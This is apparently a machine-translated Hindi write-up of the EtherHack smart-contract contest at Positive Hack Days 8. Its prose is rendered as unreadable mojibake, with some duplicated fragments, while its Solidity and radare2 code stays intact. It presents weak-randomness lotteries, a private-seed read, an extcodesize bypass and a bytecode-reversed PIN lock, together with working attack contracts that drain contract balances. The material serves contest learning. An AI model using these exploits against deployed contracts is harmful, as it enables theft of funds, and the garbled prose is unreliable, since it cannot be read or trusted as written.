рд╕реНрдорд╛рд░реНрдЯ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯреНрд╕ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛: рдкреЙрдЬрд┐рдЯрд┐рд╡ рд╣реИрдХ рдбреЗрдЬ 8 рдореЗрдВ рдПрдереЗрд░реИрдХ рд░рд┐рд╡реНрдпреВ

рдЫрд╡рд┐

рдЗрд╕ рд╕рд╛рд▓, PHDays рдиреЗ рдкрд╣рд▓реА рдмрд╛рд░ рдПрдереЗрд░реИрдХ рдирд╛рдордХ рдПрдХ рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреА рдореЗрдЬрдмрд╛рдиреА рдХреАред рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдиреЗ рдЧрддрд┐ рдХреЗ рд▓рд┐рдП рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдзреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХреАред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрддрд╛рдПрдВрдЧреЗред

рдЕрдЬрд╝рд┐рдиреЛ 777


рд▓реЙрдЯрд░реА рдЬреАрддреЛ рдФрд░ рдмрд░реНрддрди рддреЛрдбрд╝реЛ!


рдкрд╣рд▓реЗ рддреАрди рдХрд╛рд░реНрдп рдЫрджреНрдо рдЖрдпрд╛рдореА рд╕рдВрдЦреНрдпрд╛ рдХреА рдкреАрдврд╝реА рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдереЗ, рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣рдордиреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдмрд╛рдд рдХреА рдереА: Ethereum рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдзреЛрдВ рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдХреА рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░реЗрдВ ред рдкрд╣рд▓рд╛ рдХрд╛рд░реНрдп рдПрдХ рдЫрджреНрдо рдЖрдпрд╛рдореА рд╕рдВрдЦреНрдпрд╛ рдЬрдирд░реЗрдЯрд░ (PRNG) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдерд╛, рдЬреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдиреНрдЯреНрд░рд╛рдкреА рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдВрддрд┐рдо рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рдерд╛:

pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } } //Generate random number between 0 & max uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399; function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max; } function() public payable {} } 

рдЪреВрдВрдХрд┐ block.blockhash(block.number-1) рдлрд╝рдВрдХреНрд╢рди block.blockhash(block.number-1) рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЙрд╕реА рдмреНрд▓реЙрдХ рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╣реЛрдЧрд╛, рд╣рдорд▓реЗ рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕рдВрджреЗрд╢ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА rand() рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рд╢реЛрд╖рдг рдЕрдиреБрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } 

рдирд┐рдЬреА рд░рд┐рдпрд╛рди


рд╣рдордиреЗ рдПрдХ рдирд┐рдЬреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдЬреЛрдбрд╝рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рдХрднреА рднреА рдЧрдгрдирд╛ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред


рдпрд╣ рдХрд╛рд░реНрдп рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХрд╛ рдереЛрдбрд╝рд╛ рдЬрдЯрд┐рд▓ рд╕рдВрд╕реНрдХрд░рдг рд╣реИред рдмреАрдЬ рдЪрд░, рдЬрд┐рд╕реЗ рдирд┐рдЬреА рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреНрд▓реЙрдХ рдСрд░реНрдбрд┐рдирд▓ рдирдВрдмрд░ (рдмреНрд▓реЙрдХ.рдирдВрдмрд░) рдХреЛ рдСрдлрд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмреНрд▓реЙрдХ рдХрд╛ рд╣реИрд╢ рдкрд┐рдЫрд▓реЗ рдмреНрд▓реЙрдХ рдкрд░ рдирд┐рд░реНрднрд░ рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ рд╢рд░реНрдд рдХреЗ рдмрд╛рдж, рдмреАрдЬ рдХреЛ рдПрдХ рдирдП "рдпрд╛рджреГрдЪреНрдЫрд┐рдХ" рдСрдлрд╕реЗрдЯ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реНрд▓реЙрдереЗрд░реЗрдпрдо рд▓реЙрдЯрд░реА рдореЗрдВ рдмрд╕ рдпрд╣реА рдерд╛ред

 contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ } 

рдкрд┐рдЫрд▓реЗ рдХрд╛рд░реНрдп рдХреА рддрд░рд╣, рд╣реИрдХрд░ рдХреЛ рдХреЗрд╡рд▓ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯ рд╢реЛрд╖рдг рдореЗрдВ rand() рдлрд╝рдВрдХреНрд╢рди рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдирд┐рдЬреА рдЪрд░ рдмреАрдЬ рдХрд╛ рдореВрд▓реНрдп рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рдмрд╛рд╣рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдерд╛ рдФрд░ рдлрд┐рд░ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рднреЗрдЬрд╛ рдЧрдпрд╛ рдерд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк web3 рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ web3.eth.getStorageAt () рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

рдЫрд╡рд┐

рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рдмрд╛рд╣рд░ рдЕрдиреБрдмрдВрдз рдХреА рджреБрдХрд╛рди рдХреЛ рдкрдврд╝рдирд╛

рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдХреЗрд╡рд▓ рд╢реЛрд╖рдХ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ рдХрд╛рд░реНрдп рдореЗрдВ рд▓рдЧрднрдЧ рд╕рдорд╛рди рд╣реИ:

 contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ } 

рднрд╛рдЧреНрдп рдХрд╛ рдкрд╣рд┐рдпрд╛


рдпрд╣ рд▓реЙрдЯрд░реА рдмрд╛рдж рдХреЗ рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдпрд╣ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЛ!


рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ, рдЙрд╕ рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛ рдЬрд┐рд╕рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕рдЯреНрдЯреЗ рдХреЗ рдмрд╛рдж рдЧреЗрдо рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЧрдИ рдереАред рдЕрдЧрд▓реА рдмрд╛рдЬреА рд▓рдЧрдиреЗ рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ред

 Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} } 

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди рд╣реИрдВред

  1. рд╢реЛрд╖рдг рдЕрдиреБрдмрдВрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рджреЛ рдмрд╛рд░ рдХреЙрд▓ рдХрд░реЗрдВред Block.blockhash (block.number) рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣рдореЗрд╢рд╛ рд╢реВрдиреНрдп рд╣реЛрдЧрд╛ред
  2. 256 рдмреНрд▓реЙрдХреЛрдВ рдХреЗ рдЕрдВрджрд░ рдЦрд┐рд╕рдХрдиреЗ рдФрд░ рджреВрд╕рд░рд╛ рджрд╛рдВрд╡ рд▓рдЧрд╛рдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВред рдЙрдкрд▓рдмреНрдз рдмреНрд▓реЙрдХ рд╣реИрд╢ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ Ethereum Virtual Machine (EVM) рдХреА рд╕реАрдорд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рд╕рдВрдЧреНрд░рд╣реАрдд рдмреНрд▓реЙрдХ рдЕрдиреБрдХреНрд░рдо рд╕рдВрдЦреНрдпрд╛ hash рд╢реВрдиреНрдп рд╣реЛрдЧреАред

рджреЛрдиреЛрдВ рд╣реА рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЬреАрддрдиреЗ рд╡рд╛рд▓рд╛ рджрд╛рдВрд╡ uint256(keccak256(bytes32(0))) % 100 рдпрд╛ "47" рд╣реЛрдЧрд╛ред

рд╢рд╛рдпрдж рдореБрдЭреЗ рдмреБрд▓рд╛рдУ


рдпрд╣ рдЕрдиреБрдмрдВрдз рддрдм рдкрд╕рдВрдж рдирд╣реАрдВ рдХрд░рддрд╛ рдЬрдм рдЕрдиреНрдп рдЕрдиреБрдмрдВрдз рдЗрд╕реЗ рдХрд╣рддреЗ рд╣реИрдВред


рдПрдХ рдЕрдиреБрдмрдВрдз рдХреЛ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдзреЛрдВ рд╕реЗ рдмреБрд▓рд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдХреЛрдбрд╛рдВрддрд░рдХ рдЕрдиреБрджреЗрд╢ рдИрд╡реАрдПрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ, рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдЙрд╕рдХреЗ рдкрддреЗ рдкрд░ рд▓реМрдЯрд╛рддрд╛ рд╣реИред рд╡рд┐рдзрд┐ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЗрдирджреЗрди рдкреНрд░реЗрд╖рдХ рдХреЗ рдкрддреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдбрд╛рдВрддрд░рдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреА рд╣реИред рдпрджрд┐ рдкрд░рд┐рдгрд╛рдо рд╢реВрдиреНрдп рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рддреЛ рд▓реЗрдирджреЗрди рдХрд╛ рдкреНрд░реЗрд╖рдХ рдПрдХ рдЕрдиреБрдмрдВрдз рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдереЗрд░рд┐рдпрдо рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рдХрд╛ рдХреЛрдИ рдХреЛрдб рдирд╣реАрдВ рд╣реИред рдпрд╣ рдареАрдХ рдпрд╣реА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдерд╛ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдзреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

 contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} } 

tx.origin рд▓реЗрди-рджреЗрди tx.origin рд▓реЗрди-рджреЗрди рдХреЗ рдореВрд▓ рдирд┐рд░реНрдорд╛рддрд╛, рдФрд░ msg.sender рдХреЛ рдЕрдВрддрд┐рдо рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо рд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рд╕реЗ рд▓реЗрди-рджреЗрди рднреЗрдЬрддреЗ рд╣реИрдВ, рддреЛ рдпреЗ рдЪрд░ рдмрд░рд╛рдмрд░ рд╣реЛрдВрдЧреЗ, рдФрд░ рд╣рдо revert() рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред рдЗрд╕рд▓рд┐рдП, рд╣рдорд╛рд░реА рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, extcodesize рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд╕рддреНрдпрд╛рдкрди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛ рддрд╛рдХрд┐ tx.origin рдФрд░ msg.sender рдЕрд▓рдЧ msg.sender рдЕрд▓рдЧ рд╣реЛрдВред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдИрд╡реАрдПрдо рдореЗрдВ рдПрдХ рдЕрдЪреНрдЫреА рд╕реБрд╡рд┐рдзрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рд╕рд╛рде рдорджрдж рдХрд░ рд╕рдХрддреА рд╣реИ:

рдЫрд╡рд┐

рджрд░рдЕрд╕рд▓, рдЬрдм рдмрд╕ рд░рдЦрд╛ рдЧрдпрд╛ рдЕрдиреБрдмрдВрдз рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдореЗрдВ рдХреБрдЫ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реНрд╡рдпрдВ рдмреНрд▓реЙрдХрдЪреИрди рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рд╡реЙрд▓реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХреЛрдб рдирдП рдЕрдиреБрдмрдВрдз рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдирд╣реАрдВ рд╣реИ рдФрд░ рдПрдХреНрд╕рдХреЛрдбреЗрд╕рд╛рдЗрдЬ рд╢реВрдиреНрдп рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛:

  contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} } 

рддрд╛рд▓рд╛


рддрд╛рдЬреНрдЬреБрдм рд╣реИ, рдорд╣рд▓ рдмрдВрдж рд╣реИред рдЕрдирд▓реЙрдХ рдлрд╝рдВрдХреНрд╢рди (рдмрд╛рдЗрдЯреНрд╕ 4 рдкрд┐рдирдХреЛрдб) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд┐рди рдХреЛрдб рд▓реЗрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЕрдирд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рдореЗрдВ рдЖрдкрдХреЛ 0.5 рдИрдерд░ рдЦрд░реНрдЪ рд╣реЛрдВрдЧреЗред


рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ, рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдПрдХ рдХреЛрдб рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ - рдЙрдиреНрд╣реЗрдВ рдЗрд╕рдХреЗ рдмрд╛рдЗрдЯрдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдмрдВрдз рдХреЗ рддрд░реНрдХ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдерд╛ред рдПрдХ рд╡рд┐рдХрд▓реНрдк рд░реЗрдбрд╛рд░реЗ 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдерд╛, рдПрдХ рдордВрдЪ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдИрд╡реАрдПрдо рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкреЛрд╕реНрдЯ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдкрд░ рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВрдЧреЗ:

 await contract.unlock("1337", {value: 500000000000000000}) тЖТfalse 

рдмреЗрд╢рдХ, рдкреНрд░рдпрд╛рд╕ рдЕрдЪреНрдЫрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрд╕рдлрд▓ рд╣реИред рдЕрдм рдЗрд╕ рд▓реЗрдирджреЗрди рдХреЛ рдбреАрдмрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред

 r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7" 

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо Radare2 рдХреЛ evm рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджреЗрддреЗ рд╣реИрдВред рдпрд╣ рдЙрдкрдХрд░рдг рддрдм рдПрдереЗрд░рд┐рдпрдо рдиреЛрдб рд╕реЗ рдЬреБрдбрд╝рддрд╛ рд╣реИ рдФрд░ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдореЗрдВ рдЗрд╕ рд▓реЗрдирджреЗрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред рдФрд░ рдЕрдм, рдЕрдВрдд рдореЗрдВ, рд╣рдо рдИрд╡реАрдПрдо рдмрд╛рдпрдЯреЗрдХреЛрдб рдореЗрдВ рдЧреЛрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

 [0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa) 

рдЕрдЧрд▓рд╛, рд╣рдо рдкрд╣рд▓реЗ 1000 рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддреЗ рд╣реИрдВ (рдпрд╣ рд╕рдВрдкреВрд░реНрдг рдЕрдиреБрдмрдВрдз рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдкреАрдбреА 1000 рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдФрд░ рд╡реАрд╡реА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЧреНрд░рд╛рдл рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХрд░реЗрдВред

рдИрд╡реАрдПрдо рдмрд╛рдЗрдЯ рдХреЛрдб рдореЗрдВ solc рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд, рдЖрдорддреМрд░ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рдмрдВрдзрдХ рдкрд╣рд▓реЗ рдЖрддрд╛ рд╣реИред рдлрд╝рдВрдХреНрд╢рди рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдХреЙрд▓ рдбреЗрдЯрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЪрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЬрд┐рд╕реЗ рдмрд╛рдЗрдЯреНрд╕ 4 bytes4(sha3(function_name(params))) рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдлрд╝рдВрдХреНрд╢рди рдореИрдиреЗрдЬрд░ рдирд┐рд░реНрдгрдп рд▓реЗрддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИред рд╣рдо unlock(bytes4) рдлрд╝рдВрдХреНрд╢рди unlock(bytes4) рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЬреЛ 0x75a4e3a0 рдореЗрд▓ рдЦрд╛рддреА рд╣реИред

S рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдмрд╛рдж, рд╣рдо рдЙрд╕ рдиреЛрдб рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ callvalue рддреБрд▓рдирд╛ 0x6f05b59d3b20000 рдпрд╛ 500000000000000000 рдореВрд▓реНрдп рдХреЗ рд╕рд╛рде рдХрд░рддрд╛ рд╣реИ, рдЬреЛ 0.5 рдИрдерд░ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ:

 push8 0x6f05b59d3b20000 callvalue lt 

рдпрджрд┐ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдИрдерд░ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рддреЛ рд╣рдо рдЦреБрдж рдХреЛ рдПрдХ рдиреЛрдб рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдирд┐рдпрдВрддреНрд░рдг рд╕рдВрд░рдЪрдирд╛ рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ:

 push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi 

